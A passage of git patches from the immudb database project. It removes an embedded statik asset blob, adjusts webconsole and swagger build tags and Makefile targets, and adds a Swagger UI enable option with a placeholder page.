b1C\xf5O\x8fq&\xab\x91\xdff\xd1,\x03\x05\xa8\xf8\xd9\xf8\xf4\x8d-\xc4\xd2\x1boc2\x81u\xcb\xd3`\x91s\xab_\xbdv\xd4\x7fdpw5\x81`\xcc\x8fS\xe3\x97\xb7\xe2\xe2\x0b-J\xe1\xeb@\xf1\xa4\x1e\x9a\xf7\x06v\xd2v\x07vG\xb1\x97\xefl?\x82\xe0`\xe8\xf9J\x10\xb6\xfeg\xb1\x1cg? \xb9He^\xf6\xebS\x0e\xe5\x1eK&\xf5\x816 l\xec\x9d['r\xf9\xd0\xe5y\x9aB\x05\x1f\xd3\xc2\xc9\xa5\xc7M\x7f6\x1c\x19D\xdf[\xeb\x7f\xc0\x06\x88+a\x83\x7f\xfd\\X;\xc7k\xba\xf87\xcc\x81\xe32 M\xd8\x8fQ\xe7\xff\x02Y\"N\xdfokk\xd3?\n2\x19\xc2U\xe8=(\xc4\nG\x8fl\x19Y\xfc\x98\xefTp[E!\xf4\x8ee\nt\xffQ\x9f\xb0\x95\x1bR\x83q\xbe=\xdd\xdcE[\x89i\x03\xdd\x8a+\x94\x12\xff\xca\xa9\x0c\x10\x1d\xc6\xcfC\xc1N\x18\xc2\xd8\x1f:\xa9\xc0R\xf0\xe1\x9d\xfa\xd5\xe5\x87J\"`r\xdc\xc7\n2\x8c\xc2\x88u\xccw+l\xe5\x014\xc1N\x1fY\n\xb0\xf3\xcc\x1d\x06un{\x16\xa2\xf9\xd6\xd3B\x03uF\xb1\xc7\x1eV\xb6'!\xac/;.8\xac\xf2\xf4\x0dk\x067\x1b=~=\x10\xe6\xac\x01MQ\xebY\x9b\x9f\n\xe2$\x1883\xab`Y\xeaA\xb8\xa8\xac\xe8\xc6|\xff\x8a]\x9a\x08\xce\x82\x9c{\xa4\xa2\xe3\xc2\xd2\x10\x7f\xbb\xbf\x8a\xd9xR\xbc\xec\xf3\x92]h\xe1P\xfd\x8eT5~\xfe\xd3\x0d\xdf|\xd0O6\xbb\xef\xe9\xc9\xb7\xc8\x1f\x8f\x96d\x19\x88.\xe89i\xfd.\x91\xbc.w\xf8\xfd\xa4\xf3\xe3\xc2\xa8\x84\xedaN\xf0\xe1\xe8\x0f\x15F\x05\xf2\x9c[\x7fxR\x10\xad\xcc\x9d\x91k\xaf$\x01\xa2\xfb\x9dW&\xfad\xe5\x0cc\xbf\xe5aK\xb7\\\x9c\xaa\xf3+\xe77\x0e&\xa7\xfd\xe1\x0d\x1d\x17=\x05\xb2[\xb5\xfa\xf3\x13\xdcr\xc3=\x15]\xb4n\xbc\xba\xa3 \xb8F\xe4oLVEU\x886Qo\xc0UH\xb01\xe2N~\xe1\xf7\x08{\xd8q\x1b\xb2?\xe3\x89\x14'\x9c\xaa\x86\x1dZ\\\xbcn\x94\xd9\xdd\xfd\xee\xb2\x98\x87=\xf1\xd542\x8a\x1e\x1fG@ww\x15\xff]s\x87\xd5%\xea\x06\xe9!\xe4\x90at$ \xae\xe2{\xc1]=\xda\xacXa\x8fa\x10\xb7\x89\"\xb1o\xab\x14\xe6c\x1a\xdco\x1b\xc0VR\xc0\"\x0f\xfc\xb3E\x1d\xdeSPO\x0d\xd6-\xe6{\xd02\xb0\xdf`\x01eUS\x87\x9bL\xf7\xe4*k\xaf\x17^\xf2\x07\xf5\x9d2S\xc7\x96\x8a\xecl|\xbb\xfa\xa4\x1d!\xbd&\x04jg\xd8\x80\xf6\xc5\xc4b\x1b\xc9\xf0\x95k\x96\x04\xe6{7\x14\x87\xc3x\xb2\xde\x05\xea\xd8\x95\x0d\xafg\xbf\x1as\x89\xff=\xfd\"N\xc5\xe1)F<\xca\x82\xe53\x11\"\x16\x88\x143m\xa8a4Y})**2\x85\x13F^2\xecQ\xc8MM\xc4\xac\xa0\x14R\xa8;\xd8\xb6\xb8\x87O\x16\xbb*\x0f\xec\xf7\xeb\x87m\xe9o=\xb5\xce%\xfe\xaa\x81\xf8\xd2\xf0\x0b|YT\x84m\x9d\x18\x93\x95q\x0d)\x0evP\x1c\xf21wH\xd5\xdf\x8bk\xb6\x14DvM\xf4j\xfc\x12n\xc9}>\xc0\xd1\xfdeE\x00\x1c\xc6b\xf1\xc6Vy\xc9pl\x9f\xa7\xe0B\xf8\x06P\xda\xd5\xe2\"\x8f$|n\x1b:\xb84Uh9o\",\x0be\xfe\xb6\xa6\xcaH\x87\xfb \xd6cd\xc7\xce\xe7\xfdQP\x1d\xf6\xec\x1a\x93\\\xa1dw\x13\xfa\xb4l\xf2\xd1\xa1\x8c\xd0\xbeZr'\xd8q\x0d\x98{\xc17\xdd\xd3\x10\x1fn\xe8\x95\xa0\x1at\xba\xb2?\xd5\x1f*\xf9\xfa\xc6\xd0\xf1\x05\xcb7\xf9MU\x88\x8d40G\x9cD\xb9l\xfe\xf6i=\x93\x02\x1bwN\xaen)\xf0\xad\xd6\xe8\xb9\xa2z\x0c\x97\xd6?\xd7\xa5\x13\xeag\x88\xbe\xb6\xf9\\\x8e\xf6\xd2\xac\x84\x83\x93\x95\xf5\x85\x8do\x97\x070\"\xcb\x84?\x9b\xd9\xfb\xfbr\xc4\x11\x9c\x18\xea\xa2\x15\x04\x0dG\xd4\\\xc6\xfb? \x0fh\xe1\xdbo\xcb]\x97\x06\xba\x0c\xeb9\xe6\x8e\x7f\xde\xc4\xc7\x0e\xa9\xa8\xb1\x82\xcc\xf4\xc1`\xc0\xafrc\xf9\xb6\x8e\xeb\xea|-7}\x0f\xd1\x08%_\xb7V\x8b\xdeS\xed\x8e\xb0 \xb8\xb2\xfb\x92J{z\x8f#\x0d\xc0\x81r\xf3E\xf2\xe5\xa4\xb7\xdcV\xd2\x12.T\xed\x05EQ\xcf\xf1\x8c\\;u\x8b\x1a\x94\x84\x8b\x85Kw\xdaq\xcbu\xdf\x7f\xc5\xf6\x18c\xefx\x1b\xf8\xaf\x80\xe9\x93\xc6\xcb\x9c\xf0(\x90\x94\xd4*W\xc4\xbf\xa0\x1a\xd4A.l/\xd5\xa9})A[\xd8\\\xad\xbdkn\x9d\x88~ 9\xde5\xc6\xdf\x1b\x96\xfc\xcd\xeb\xdb-\x9eF\xe5\x8a\xd7\xec\xcar\xb5\xdf\x8e}a\xa1\xb5 (\xecg9]=\x8c*W\x9c8t\x96\xe4\x836\x03\xe1\xc7g\xfb\xeb\x9d\xc2\xbd\xcf\xe3i%\xc0r\xd8Tn\x00\xe5\xc7\xdf\xb9\xfa\xfb\x95\x9d\x82\xe0\\\xe6/\xd5\x98\xa1\"\x8b\x05\xfa\xcc\x00\x02\x96\x14\xe4e\xc2\x05*\x0d\xe2K\x12\xf4\xe9u\xa4\xc8\x88\xaeg\xa1w\x80Z\xc1\xcb<\x0c\xd0\xc0\xfc\x1dE\xd6\xde\xc1s\xc32c\x0b\x1c\x88-\xbb\x8f\xe5\xe4\x7f\xbb\x07\xac\x9f\x0b\xed\xc5?+z\x97N\xa7O\xf0\xc8\xaa\x10\x87\xf5\xb90y\xef\xfc\x87\xa8Q\xaf\xa4[\xe3\xe4\x91d\x97Nf\xa4\xf1\xa5\x08\\\xc7\x95\x05\xf6\x02\x81k\xf7\x08\xe8\xdbc9X\xe0\x91\x13#X\xc4U\x04nd\xaco\xb1\xe8 un\x8f\xd3\x12.a\x1b\xc4\xc2k\n\xd2XY^\x0cU\x1a\x151\xf0x8\xd16#\x18\x18\xd5}\x85\x0f\x9d\xbdtT7\xccT\xcf[x\xccQ\xa3\x95\xa5\xf7\xdc\x16\xcc\xc5b\xee\x13.C\xcd\xf0\x9a=\xbe\xf9\x8d\xdb'wZ\x8bNy3\xbe\x11\xe5\xa0P\xe1MX\x82\x9b\xe3\xdc\x1e\xd7f\xd7wn#FBD\xfb\x0f\xafF\xf7\xd3\xe5dd\xb2\xb4n\x14\x05\xf8\x9f\"\x7f\x1a]L\xf2\x95\xa0\x04\xd7\x01\xc1\x166\x00 \x83\xbe\xc69\x19\xa8\x14\x027\x12\xfe~\x1f\xc0\xec\x93\xf4I\xe5?}\xc4\xd53\x00%ij\x9c\xd3\x01\n\xe72M\xcf\xe6-8C>\x05%-\xa4\xf7/\xf8\xb7\xc2\xce~A\x80$z\x9a\x1d1P\x8c\xe0\xcd\xe5I\xcem\xd4\xe3\x18\x8b\"~\xb0k\xda w]\x0c\xfd\xfer?\x0f\xf0>\xe0\xf1A\xd1\xc8CC\xa4\xf4\x05\xa4\x81SI5\xd3\x11\xe7\n\xb1\xe6\x80C9\xe8\xae\x9bZ\x16\x8c\x9e#\xf9\x83{>\xad\x85\x080V\\\x9b\x962z+\xe6}}\x0f\xa0\x04o'V\xa6\n<\x7f\xa6\xea=\x0e\x08\x8c\xffn(\xcdX\x1b\",Z\x1a(\x92\x1f\xf2\x18jY\x0e\xf2f\xdd\x1e/\x90\xe3F ,J\x9a\xad8\x9a\xa1\x8a\x11}o\x88\xca\xfb\xa4\"\x0e \x04\x87\xcc\x02\xeei\x06oE\xf2C\xae=Qc\xdf\x13\xcd\xa0\xb3\xbe\xbe\xd1\x93\xef\x18{\x16k\x90f\xea\xa9\x15\x18\x11\xca-~\x9c\x1e;J\x1a\x0dO\x17T%\xea\x0d\xec\xc6\xe6\x93\xe5\xb6\xad\xdf\xc5\xdd\xedR\xe5\xd4gn\xb2\xea\xb9\xa5\xaf\\\x17\x7f\xc7T\xa2{.R\x1c\xaf\xfb\x85\xd2\xe4\xe7\xacx\xbc\xe2\x04i\x80j+\xfaK\x1e-s\xc0\xc8\x87\x0dC\x86\x92by^t,\xa6\xad\xf0\xd8Z\xf1?\xf9I)\x1b\xe5sV\x05A\xe8\xe4\xbc\x0c\xcc\xd4\x9c\xb2\xb8\xd4\xca!\x90.t\xa0\xdd\x9b\xce~\x89\x91\x16\x85\x9f#D\xfa\x04\x92\xa6fm\xe5\xf1\x86\xfd\x81I\xe7\x9b+\xfa\xfbuN\xee4\xc4eV;\xcd\x88*\xb46\xf4N\x96\xb7\x8eD\xfa\xc81.\xab\xb1\x1f+\xf3=X\xe4\x8c\xffL\xf2~F]\xd1\xe3\x15\x18EV\xd0\x08\xc0wA\x19{\xf4\xd9Z\xd6\xcc\xd0\x0b^\xa1\xf7\xe5^\xbe.\xd4\x0c\xf2\xb9m\x92\x97\x83\x9b\x993#&T\xb8\xa0.\x89\xff\xf2\xfe\xb9\x0e\xa0\x88\x96\xebHb\xbf8\xcb\x923\xb8\x8aO\x17\xeb\xc9\x81\xc8\x1e\xab\xf1?\x8f4\x06\x0d\xaf\x16\xd7yzi2\x0d\x90x_\xd0\xe3\x83@\xa6C\xfe\xf2\xa6\xd2\xa2\xdaR2:\xc5M\x86\xcb\xe2\xbd\x0e\x99\x86$r\xce\xed\x0d\x83:A\xf4\x93t\xb3\xac[\xaf]\xbe\x0e\xd7Z\xf3/\xe4\xe8\xd7\xc8kJ^y5]D\x11\xf8D@\xda:\x18\xc9\x8d\xb5\x97\x07u\xf58\xb75H\xcaq\x1aQ,A\xc4\xf8\x0e`\x17~\xd3\xe2\x8c\x91D\xcc\x81\x1b\xe5\xcc\xd6!\xc6\xcc\xfe\xe4\xf5\x8a\x98\xc4\xcdz\xa4\x83J\x11\x9a\xee%\xc01\x92`\xd0\xe2_P2\x11\x9b\xd5\x93d\x046\x9f\x91\x97x$\x0b\x9e\xbc\xa5\x02\xc7V'\xaf\xe1-\xa1\xd6\x92\xbf\\\xd9\xcb\x9aS\xd5\x15TKT\x8e\xc8\xed=$\xac\x8a\x1fn\xd6\x85H\xfd\xf5k\xb2\x9f\x91\"\xd9\xa3i\x94\xd2\xf4\x8e\xf0i\"\x0d+e\xcb\x94\xdf\xdc.\xcc\xd6\xec\xd4u\xbc\xc6\xaa-l\xd1\xe8\x89\xa9H\xaf\x96\x11\x02\xd6\x81\xa1\xc5\xe4\x19\x93\xdf@i\x02\x8b\x1b\xb8\xca\xfe\np\x1a\xb79{\xbf$\xd6\xda\xec\xb7\xe0\x9e\x87u\xa7`\xb1\xe2#\xa2\x88i\x05>\xee\x0cN\x96\xefw\x04\xbcW\x97\xb2Z\xf3\xa2\x19\x9au\x1aT\xee\xf3\xb1>\xbe7E\x02\xd6\xef\xc0\x9er\xf6\xc26\xf38}\xe7[\xaf\xaf?\xc9/\xc6\xed\x87\x03\x04\x0f\xe5my\xd7s\xa7\xaa\xad2q%j\nI\xcf1\xff\x04\xb3m\xcf\xb8\xc8\x1f \x94\xd2-p\xec\xf4me\x02\xc4vxhys?\xa7\"\xb7\xbc\xd4\xc2\x82\x89\xdc\xf0\x13\xb5U\xb9\n\xfc\xb3)\xb0\x9b\xca\x1b\xf3\x7f8\xc9Y~\xa6\\\xd4\xe2 h\xf0\xdc\xeda\x0b\xf1\x02\xf1\xbd\xe1e\x8a\x020sM\xbc\xf3\xfa\xba\x9e\xbf\xe8Gg+\xf3\x9b\x99\xea\xd9\xbc\x00\x16]\x8b\xc8\xae\xb3ZU8:<\xbey\\\x98\x88\xf9\\\xbcPR\x1e*\x93O\xcb\xf1>\x9dR\xda6\x0e&P3\xe3!T\x0d%\x1ct*\xe8\xfd\xdc\x07\xc3\xed\xf2\x05\x99q\xb2\xb6'\xefT\xd7e\xa4\xcd\x94$\xe0-&a\xfe\x0b\xf5\xec4\x108\x0ec\x0d\xe5IP\xc3%\xd5\xbaU\xc8\x8c\xd4\xd3\x8e=\x9f\xef\xef\x96\xae\x8eA\x99\xc2\xd4\x8e\x1e\x15\xb2\xb8\xc5\x06.\xdam \xe9~\xc7\xe2\xae\x12 \xc3:}@\xf2\xa2p\xf9\xa0\x96\xf1\x19\xf0\xf3f:\xd1\xed\x1b\xf6q\xfe\x10\xf6$2\xd2\xa537\xd6\x19p-#\xc7\x05;.\xb6H\xa8,J\xcb\xbdZ\xb45%\xf1\x16W\xfd\xf5-\x95W\x86\x11ii\x8f\xdcP\xe5T\xe1\xefB^\xae\xf7\xd6E\xf7\x84/\xdb\xea\x8bg\x1c\x99D\x88>\x89 _\xbc\x1c\n\x91\xad\xb1zfRt\xbf/\xeb\xb0\xbc\xa7\x80\xa0\x12!b\xeb\x81\x97\x8b\xe9\xb8i\xd4h\x0b~\xe6\xeb\\\n3\xc1V\x8e\xe7\xb3;(\x08\x9f\\\xa6\x9b#\"\x98\xa2L\xff/\x05,\xf9\xaf\x0b\x1f\xd4\xa7 \xa4\x11i\x9f?\xcf\x8f\xfb\x90\xe1$\xa0\x19u(\xd0\xfe\xb7\xf3\xbb\x1b+\xc70\xae\xf9wF\xd6*\xd1\xd6\xe2\xc4vj\x10\x9f\x0f8\xd2\xf1\xbc\x0b\xad\xcf,\xca\xcd\x9a\x95\x066\xc1+\x15\x06\x89D\xe4\xe2\xbe\xc3\xab\x1eut\x1c0ByQ\xfc\x92VK\xb4Y\xc4\x84=\xcf$6a\xaf\x07\"\xc6E\x86\x91\xe9A\xb0\x14\xb4\xa9\xb1\x9a%\xfb\x18\x8fB\x14J.\xe7'\x8e\xb7\xcfs\xd2\xdc\xee\xc4ve\xa6\xd2yP\xb8)L9\xbf\xc0P\xe5\xa7\x19G\x87r\xc5\xf3F\xbcpZ\x91\xea\x98\xf1X\xf4aF=6\xda\x8f\x8d\x15\x89\x10\xe0?\xaf\xc7A\xc4\x98\xc5\x90\xd1`mg\xa1L\xfd\x83\x96\xa9h\x13\xa5\x9d\xe8\x80\x03G\x98\x8c4M\x831\x88w\xb4\xbbI/)\xfd\xa2\xca\x001Vx\xba+\x12\x11r\xb6\x86\x8f@\xd86;\xa2\x8a'\x0f\xdf5X\xe8!\x1c\x9c\xc0\xacHD-\xeb\x8a\x11+\xb4\xc5\x0cf\x98\x866\x8dK\x80\x81Sc\x88\xb1\xe0P;R!\x9c\x8b\xc4\xbe\x83\n\x14+\xf8\xbcw\x82\x8a\xbf\xd5(S\xecF\x14\x89\xa8\xe5\x9c\xd1;\x80R\xf3\"R\xd0\xa6*\xd3)[\xd0\xacx\xba\xf9\x84n|+\xde\x04\x16U5hD- =\x8e+\x18\xffd]\xd3\xd3%,\xe1H-\xa2^\xe0\x02\xcf\x12\x90\x1cW\xcc\x95\xfb\x8eE<\xe3\xf6\x9c]+R$[1\xd99\x8d\x8d\xd5\x18,N\x94\x92)\x13\x07l\xe6\x9bC}\xff\x99\x87\x00\x98\xe5\xba\x14'\xe4\x08\xf2W\x8b\xb7f]\x18^\xe1 \xc6O\xf3Jg\xe75#\xf0G\x80L\x00\x8c%\x0d\x1b\xd2\xa8\x9e\xe7\xc6\xb2G5\xa5\xc62\x81\x90\x9b\xdd\x89\x8b^\x9c\xcaF\xb5\x0f\xe2\x80\x90\xfdD\x0dw\x19\xaa\x89\xe2\x1cA\x07\xc1#Q\xa6\xd9\x8d\x08\xba\xd4)\x8f\xb8bq{AE\x9c\xdf\x06\x97\x11\xf8\xc7N\xb5 \xc0\xa1xh\x81Dp\xa2\xbf\x98qV\xc8\x0fC\xfb\x8d,\xfc$nK\x93\x8b\xea\xdbw\x81\xc6x\xefO4L\xcd.\xe2\x10\xe5s*1\xc5\xa3\xf3\xf7\xa3`oa+\xb5i\x05B\x04\x00\x1b\x8e\xc8\x1f\x11\x05\x02\xa1\xa5\xbew\xd4\xd8Mj\xd0\x8b\xef\xaf\x81\x90\xcc\xc3q\xc5\xcb8A\x03\xc3XS6\xb0\xb66\x14\x8a\xd1\xd6\xff\xf5&\xc9)l2\x01\xba\x90\xee/\xe7\xe2\xeb\x96\x89\x18\xa9\xe2 9\x0d\x1d\xd2\xaa\xf8%\xfa9\x13\x82\xdd\x89)d\xb0\xcax]\x9f\x07<\xc89_%y\xf6,\x9a\x9b\xd5\xf8\xbd;\xaaE;\x84\x1d\xff\xbc\xd1<\x92\xdd\x8a\x99\xb3\x06 d\x99\x02\x18\x18\xedW\x13\xc9\x02\x1e\xb2\xb2\x0e\x17\xa3\x9b\\?\xb9YF\x95\xf5\xc5\xeca3\x01\xf6h\xf9\xc9\x19\xa0\xa3Ck\x90\xa2vJ\x95\xe9\x02:\x0b/\xc8}W:\x0f.>/\xfa?i\xc2\xc1\xa9\x82\x0b_\xf9\x94\xd25M\x9cQ\xa8\xaf\xa8'\x169\x0f+\x10]W\xce\xa0\xed\x18\xb9jEx\xde\xd8\xdb\xde\x9b9\xbb\xa8u\xe5\x1c'/5\xd0O\xfd5J\x8f\x8fx\x07\xb6O\xca\x93fy\xb8\xb6\xac\x0e\xd3\x85\x90\xaf\x123\x82uw\xa4If\x0d\xcb*\xe05u\xc1\xe8\xda\xe0bI\xb4\x07>Y\xe7\xadZ\xac\x88)m,5A \xd4\x87\xfc\xfd5Dr\xcff\xcdaQ\xc9a\x8b\x11\xca\x89W\x1d\x9b\xd4I\xd8\x9b\x81\x07\xef%`\x10\x00\x12\x88\xf6\xc0P\xd8\xa4Q\xb8t\xca\xd8\xd9\xa1\x14\xa4\x0e\xff_\xa7\xfd'St_U-\xb0m^\xfc\xe0\xff\xdbG\xfe\xf0/t\xe7\xc6\xed\x1fZ\xcc\xce!\x941\xe3\xf0\xddX\xe7\xab\x8e\xf0\xd0\xee\x80\xe56\x16^\xb3 \x8f3\xf8\xe9Q,\xa2\x04\x07\xf3\xd6\xcc\xad\x8b\xef\xeb\x14\x0b\x1e\xbe\xe5\xa7\x07\xa9\xcf\xa3\x8e\xd3r\x8f\xdf\\\x96O7\x0b\xa3\xed\x85\xd0\xf1\x01c\xfd\xd1.\xce\xfa\xf0WO\xc1\xbb\x98\xc77\xd7\x1d\x95T\x81\xaf\xae\x1f\x1ek\xd4\xac\xb7\x99\xee\xd1\xc1\x17`\x87S\xb8Zq\n+\xf9y\xb2o\x12\xf1\xdc\x99&/O&;\xdf\xd4\x99&^\x1c\xb9qsH(\xc3\xbb\xa6\x86\xd4\xb2\x80{\xdc\x08\xfd2\x11b\xb2\x1f+\xa6\x9c\xf4\xaf\x8f\xe9\xa4\xa4N\xdf]\xcb\x9f\xca\x05\x17\xffy\xe4>~\xebI\x00\xfa\x9d\xca\xca\x1elr\x1df\xb7-!\xf9\xd2q\xc7\x12\x0b\x0b\x0bKCU\x07Q\xafl\x13\xf1?\x01\x00\x00\xff\xffPK\x07\x08{\x86\x02V\x89p\x00\x00\x99p\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\xe4HES\xaf\x13j\x89\x12\x02\x00\x00\x14\x04\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00missing/index.htmlUT\x05\x00\x01\xbd\x15\\aPK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\xabe\xdeR{\x86\x02V\x89p\x00\x00\x99p\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81[\x02\x00\x00missing/mascot.pngUT\x05\x00\x01bg\xdc`PK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x92\x00\x00\x00-s\x00\x00\x00\x00" - fs.Register(data) - } - \ No newline at end of file diff --git a/webconsole/webconsole.go b/webconsole/webconsole.go index dac98e4da0..6c948021f6 100644 --- a/webconsole/webconsole.go +++ b/webconsole/webconsole.go @@ -1,17 +1,21 @@ +//go:build webconsole // +build webconsole package webconsole -//go:generate go run github.com/rakyll/statik -f -src=./dist -p=webconsole -dest=../ -tags=webconsole +//go:generate go run github.com/rakyll/statik -f -src=./dist -p=webconsole -dest=. -tags=webconsole import ( "github.com/codenotary/immudb/pkg/logger" - "net/http" "github.com/rakyll/statik/fs" + "net/http" + + _ "github.com/codenotary/immudb/webconsole/webconsole" ) +var statikFS, err = fs.New() + func SetupWebconsole(mux *http.ServeMux, l logger.Logger, addr string) error { - statikFS, err := fs.New() if err != nil { return err } diff --git a/webconsole/webconsole_default.go b/webconsole/webconsole_default.go index 58bb4e6e69..50ccd7fd39 100644 --- a/webconsole/webconsole_default.go +++ b/webconsole/webconsole_default.go @@ -1,17 +1,20 @@ +//go:build !webconsole // +build !webconsole package webconsole -//go:generate go run github.com/rakyll/statik -f -src=./default -p=webconsole -dest=../ -tags=!webconsole +//go:generate go run github.com/rakyll/statik -f -src=./default -p=webconsole -dest=. -tags=!webconsole import ( - "github.com/codenotary/immudb/pkg/logger" "net/http" + + "github.com/codenotary/immudb/pkg/logger" "github.com/rakyll/statik/fs" ) +var statikFS, err = fs.New() + func SetupWebconsole(mux *http.ServeMux, l logger.Logger, addr string) error { - statikFS, err := fs.New() if err != nil { return err } From 3b3226f271a7aa2cc009be5e4bb635b4882eb816 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 15:35:34 +0100 Subject: [PATCH 0281/1062] Added basic swagger tests, removed bad default values --- .gitignore | 2 +- Makefile | 22 +++++++++++++--- cmd/immudb/command/init.go | 1 + cmd/immudb/command/parse_options.go | 2 -- pkg/server/options.go | 11 ++------ pkg/server/webserver.go | 8 +++--- swagger/default/index.html | 31 +++++++++++++++++++++++ swagger/default/mascot.png | Bin 0 -> 28825 bytes swagger/swagger.go | 4 +-- swagger/swagger_default.go | 29 +++++++++++++++++++++ swagger/swagger_default_test.go | 36 ++++++++++++++++++++++++++ swagger/swagger_test.go | 38 ++++++++++++++++++++++++++++ webconsole/webconsole_default.go | 1 + webconsole/webconsole_test.go | 1 + 14 files changed, 165 insertions(+), 21 deletions(-) create mode 100644 swagger/default/index.html create mode 100644 swagger/default/mascot.png create mode 100644 swagger/swagger_default.go create mode 100644 swagger/swagger_default_test.go create mode 100644 swagger/swagger_test.go diff --git a/.gitignore b/.gitignore index 895bbdef10..bbc1f8e449 100644 --- a/.gitignore +++ b/.gitignore @@ -49,5 +49,5 @@ token token_admin swagger/dist -swagger/swagger +swagger/swaggerembedded webconsole/webconsole \ No newline at end of file diff --git a/Makefile b/Makefile index 4b08835e33..3d0633e793 100644 --- a/Makefile +++ b/Makefile @@ -47,10 +47,15 @@ V_LDFLAGS_FIPS_BUILD = ${V_LDFLAGS_BUILD} \ -X github.com/codenotary/immudb/cmd/version.FIPSEnabled=true GRPC_GATEWAY_VERSION := $(shell go list -m -versions github.com/grpc-ecosystem/grpc-gateway | awk -F ' ' '{print $$NF}') -IMMUDB_BUILD_TAGS=-tags swagger +SWAGGER_BUILDTAG= +WEBCONSOLE_BUILDTAG= ifdef WEBCONSOLE -IMMUDB_BUILD_TAGS=-tags webconsole,swagger +WEBCONSOLE_BUILDTAG=webconsole endif +ifdef SWAGGER +SWAGGER_BUILDTAG=swagger +endif +IMMUDB_BUILD_TAGS=-tags "$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG)" .PHONY: all all: immudb immuclient immuadmin immutest @@ -82,7 +87,7 @@ immuadmin: $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin .PHONY: immudb -immudb: webconsole +immudb: webconsole swagger $(GO) build $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immudb .PHONY: immutest @@ -217,11 +222,20 @@ build/codegenv2: .PHONY: build/embedswagger build/embedswagger: rm -rf swagger/dist/ - curl -L $(SWAGGERUILINK) | tar -xvz -C swagger + curl -L $(SWAGGERUILINK) | tar -xz -C swagger mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) cp pkg/api/schemav2/schemav2.swagger.json swagger/dist/schemav2.swagger.json cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js + +.PHONY: swagger +ifdef SWAGGER +swagger: ./build/embedswagger + env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger +else +swagger: env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger +endif + .PHONY: clean clean: diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 669136c646..4c2ec9de07 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -85,6 +85,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Duration("sessions-guard-check-interval", 1*time.Minute, "sessions guard check interval") cmd.Flags().MarkHidden("sessions-guard-check-interval") cmd.Flags().Bool("reflection", options.ReflectionServerEnabled, "GRPC relection server enabled") + cmd.Flags().Bool("swaggerui", options.SwaggerUIEnabled, "Swagger UI enabled") flagNameMapping := map[string]string{ "replication-enabled": "replication-is-replica", diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index 9fdd27fa90..fcc038b617 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -82,7 +82,6 @@ func parseOptions() (options *server.Options, err error) { pprof := viper.GetBool("pprof") - gatewayServerEnabled := viper.GetBool("restapi") reflectionServerEnabled := viper.GetBool("reflection") swaggerUIEnabled := viper.GetBool("swaggerui") @@ -145,7 +144,6 @@ func parseOptions() (options *server.Options, err error) { WithSessionOptions(sessionOptions). WithPProf(pprof). WithLogFormat(logFormat). - WithGatewayServerEnabled(gatewayServerEnabled). WithSwaggerUIEnabled(swaggerUIEnabled). WithReflectionServerEnabled(reflectionServerEnabled) diff --git a/pkg/server/options.go b/pkg/server/options.go index 61a7617a8e..3ea9deaed2 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -72,7 +72,6 @@ type Options struct { PProf bool LogFormat string ReflectionServerEnabled bool - GatewayServerEnabled bool SwaggerUIEnabled bool } @@ -136,9 +135,8 @@ func DefaultOptions() *Options { ReplicationOptions: &ReplicationOptions{IsReplica: false, SyncAcks: 0}, SessionsOptions: sessions.DefaultOptions(), PProf: false, - GatewayServerEnabled: false, - ReflectionServerEnabled: false, - SwaggerUIEnabled: false, + ReflectionServerEnabled: true, + SwaggerUIEnabled: true, } } @@ -458,11 +456,6 @@ func (o *Options) WithPProf(pprof bool) *Options { return o } -func (o *Options) WithGatewayServerEnabled(enabled bool) *Options { - o.GatewayServerEnabled = enabled - return o -} - func (o *Options) WithReflectionServerEnabled(enabled bool) *Options { o.ReflectionServerEnabled = enabled return o diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index d982a5c4f0..a86a012f1b 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -34,9 +34,11 @@ func StartWebServer(addr string, tlsConfig *tls.Config, s *ImmuServer, l logger. if err != nil { return nil, err } - err = swagger.SetupSwaggerUI(webMux, l, addr) - if err != nil { - return nil, err + if s.Options.SwaggerUIEnabled { + err = swagger.SetupSwaggerUI(webMux, l, addr) + if err != nil { + return nil, err + } } httpServer := &http.Server{Addr: addr, Handler: webMux} diff --git a/swagger/default/index.html b/swagger/default/index.html new file mode 100644 index 0000000000..95263e9f15 --- /dev/null +++ b/swagger/default/index.html @@ -0,0 +1,31 @@ + + + + No Swagger UI enabled + + + + + immudb + + + immudb mascot +

immudb was built without swagger ui support.

+

See here for instructions, or download an official build.

